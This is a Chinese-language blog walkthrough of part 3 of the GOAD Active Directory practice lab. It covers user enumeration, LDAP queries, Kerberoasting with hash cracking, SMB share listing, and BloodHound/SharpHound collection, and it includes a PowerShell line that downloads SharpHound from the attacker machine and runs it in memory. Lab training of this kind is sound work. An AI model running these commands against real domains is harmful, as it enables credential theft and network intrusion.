banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

活動目錄遊戲(GOAD) 第 3 部分 - 使用者枚舉

第三部分繼續枚舉一些用戶,利用之前獲取到的憑證看是否能繼續收集到一些信息。

vagrant up啟動休眠的機器

image

image

當你在活動目錄上獲得一個帳戶時,首先要做的總是獲取完整的用戶列表。

一旦獲取到用戶列表,你可以對所有用戶進行密碼噴灑(通常你會發現其他帳戶使用弱密碼,如用戶名即密碼、季節年份組合、社團名稱年份組合,甚至可能是 123456)。

在 part2 中,得到了 brandon.stark帳號密碼,

python3 GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra

[*] Querying north.sevenkingdoms.local for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2024-01-17 20:24:06.650023  2024-01-18 00:15:11.751714 
Guest                                                 <never>              <never>             
vagrant                                               2021-05-12 19:38:55.922520  2024-01-18 00:33:15.469101 
krbtgt                                                2024-01-17 20:59:48.450235  <never>             
                                                      2024-07-11 21:23:44.436491  <never>             
arya.stark                                            2024-01-18 00:06:14.609612  2024-05-05 16:39:43.450938 
eddard.stark                                          2024-01-18 00:06:24.165912  2024-07-21 14:07:26.720083 
catelyn.stark                                         2024-01-18 00:06:31.753050  <never>             
robb.stark                                            2024-01-18 00:06:39.977381  2024-07-21 14:08:30.539586 
sansa.stark                                           2024-01-18 00:06:48.632812  <never>             
brandon.stark                                         2024-01-18 00:06:56.360121  2024-07-11 22:59:04.257694 
rickon.stark                                          2024-01-18 00:07:03.163738  <never>             
hodor                                                 2024-01-18 00:07:08.330623  <never>             
jon.snow                                              2024-01-18 00:07:14.009106  <never>             
samwell.tarly                                         2024-01-18 00:07:20.334394  2024-07-11 23:17:33.390596 
jeor.mormont                                          2024-01-18 00:07:26.125439  <never>             
sql_svc                                               2024-01-18 00:07:30.994621  2024-05-05 15:22:57.352040

LDAP 查詢#

LDAP 是一種目錄服務協議,它提供了一種連接、搜索和修改目錄的機制。

在 north.sevenkingdoms.local 上使用 ldap 查詢

#安裝ldap
sudo apt install ldap-utils

#ldap查詢,查找類別為person且類為user的所有對象
ldapsearch -H ldap://192.168.56.11 -D "[email protected]" -w iseedeadpeople -b 'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" |grep 'distinguishedName:'

image

通過 LDAP 查詢也可以查詢到用戶信息,各域間存在信任關係,所以通過 LDAP 也可以查詢其他域中的用戶。

image

sevenkingdoms.local

ldapsearch -H ldap://192.168.56.10 -D "[email protected]" -w iseedeadpeople -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep "distinguishedName"

image

essos.local

在 essos.local 查詢,報如下信息:無效的憑證,應該是兩者之間沒有信任關係導致的。

image

LDAP 查詢參考:https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/

Kerberoasting#

從 Active Directory 中獲取用戶的服務主體名稱 (Service Principal Names, SPNs),並請求相應的 Kerberos 服務票據,這個過程被稱為 Kerberoasting。

python3 GetUserSPNs.py -request -dc-ip 192.168.56.11 north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes

image

所有的 hash 保存到 kerberoasting.hashes 文件中

image

整體流程:

1、認證
腳本使用提供的憑據(用戶名和密碼)連接到指定的域控制器 (192.168.56.11)。

2、枚舉 SPNs
腳本查詢 Active Directory,枚舉所有具有 SPNs 的用戶。這些 SPNs 通常用於 Kerberos 身份驗證的服務帳戶。

3、請求服務票據
根據枚舉到的 SPNs,腳本請求相應的 Kerberos 服務票據 (TGS)。這些票據包含加密的服務帳戶密碼哈希。

4、保存票據
請求到的 Kerberos 服務票據的哈希值會被保存到指定的輸出文件 (kerberoasting.hashes) 中。

也可以用 cme 去獲取

crackmapexec ldap 192.168.56.11 -u brandon.stark -p 'iseedeadpeople' -d north.sevenkingdoms.local --kerberoasting KERBEROASTING

image

嘗試使用 hashcat 破解密碼

image

得到個帳號密碼:jon.snow

共享目錄枚舉#

crackmapexec smb 192.168.56.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares

192.168.56.22 共享目錄

image

dns 枚舉#

工具:https://github.com/dirkjanm/adidnsdump

安裝:

pip3 install git+https://github.com/dirkjanm/adidnsdump#egg=adidnsdump

Bloodhound#

接下來使用 Bloodhound 分析域內的環境,攻擊者必須在目標上運行一個collector,它將枚舉有關域的大量信息。collector運行完成後,它將輸出一系列 .json 文件,供導入到攻擊者的 Bloodhound 界面中。

BloodHound.py 數據收集器#

用下面的 python 腳本採集數據

A Python based ingestor for BloodHound

採集 north.sevenkingdoms.local 上的數據

python3 bloodhound.py --zip -c All -d north.sevenkingdoms.local -u brandon.stark -p iseedeadpeople -dc winterfell.north.sevenkingdoms.local -ns 192.168.56.10

image

注:需要指定 dns,如果不指定就會報如下錯誤,查看了 BloodHound.py 的官網,很多人都出現了這個錯誤

image

同樣的,從其他幾個域中收集數據

kingslanding.sevenkingdoms.local

python3 bloodhound.py --zip -c All -d sevenkingdoms.local -u [email protected] -p iseedeadpeople -dc kingslanding.sevenkingdoms.local -ns 192.168.56.10

image

meereen.essos.local

python3 bloodhound.py --zip -c All -d essos.local -u [email protected] -p iseedeadpeople -dc meereen.essos.local -ns 192.168.56.10

image

通過 BloodHound 收集了三個域的信息

注:不過,觀察 GitHub 上的項目我們可以發現,Python 版本的數據收集工具雖然功能強大,但與 .NET 版本相比仍有不足。具體來說,它支持大部分的 BloodHound(SharpHound)功能,但並不是全部,尤其是缺少了一些基於組策略對象(GPO)的收集方法。

sharphound.exe 數據收集器#

同樣的,通過 sharphound.exe windows 版本重新採集一遍

項目地址:https://github.com/BloodHoundAD/SharpHound

遠程桌面連接到域內機器

sudo apt install freerdp2-x11

xfreerdp /u:jon.snow /p:iknownothing /d:north /v:192.168.56.22 /cert-ignore +clipboard /drive:tmp,/tmp

.\sharphound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip
.\sharphound.exe -d sevenkingdoms.local -c all --zipfilename bh_sevenkingdoms.zip
.\sharphound.exe -d essos.local -c all --zipfilename bh_essos.zip

image

image

image

也可以用 powershell 在內存中運行 sharpblood

$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.56.1/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Sharphound.Program]::Main("-d north.sevenkingdoms.local -c all".Split())

啟動 bloodhound#

用 kali 啟動 bloodhound,導入 bloodhound-python 收集的信息,sharphound 導出的信息無法導入到 bloodhound 中,可能和版本有關係,之前打春秋雲鏡靶場的時候遇到同樣的問題,無法導入 sharphound 收集的內容。

顯示所有的域和計算機

MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) RETURN p

image

顯示所有的用戶

MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) RETURN p

image

查看域 / 組 / 用戶的整體地圖

MATCH q=(d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) RETURN q

image

查看用戶的 acl

MATCH p=(u:User)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' RETURN p

參考#

https://mayfly277.github.io/posts/GOADv2-pwning-part3/
https://github.com/BloodHoundAD/SharpHound/releases
https://github.com/dirkjanm/BloodHound.py
https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。